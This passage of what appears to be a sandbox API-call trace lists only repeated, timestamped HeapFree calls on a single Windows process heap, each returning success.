	[0176.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.962] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.968] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.969] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0176.973] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0176.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0176.978] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0177.057] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.060] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.061] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.062] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.063] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.063] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.067] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.068] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.069] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.070] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.072] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.078] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.079] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.079] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0177.079] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0177.079] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0177.080] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0177.084] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0177.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0177.085] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.089] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.089] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0177.091] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0177.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.197] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.197] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0177.198] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.199] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0177.202] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.203] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.203] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.204] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.205] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.206] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.206] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.207] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.208] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.208] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.210] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0177.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0177.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0177.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0177.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0177.226] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.228] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.229] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.258] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.263] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0177.296] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.209] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.210] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.211] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.212] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.213] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.215] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.216] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50d0070 | out: hHeap=0x5a0000) returned 1
	[0178.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0178.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0178.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.224] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0178.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0178.252] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.257] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.260] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.261] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.263] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.265] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.266] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50c0068 | out: hHeap=0x5a0000) returned 1
	[0178.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50b0060 | out: hHeap=0x5a0000) returned 1
	[0178.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0178.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0178.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0178.271] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42a29a8 | out: hHeap=0x5a0000) returned 1
	[0178.273] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0178.444] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.573] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0178.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.827] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0178.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.836] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4155fd0 | out: hHeap=0x5a0000) returned 1
	[0178.837] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0178.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.848] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4200450 | out: hHeap=0x5a0000) returned 1
	[0178.848] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.848] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0178.849] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0178.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.857] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.866] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
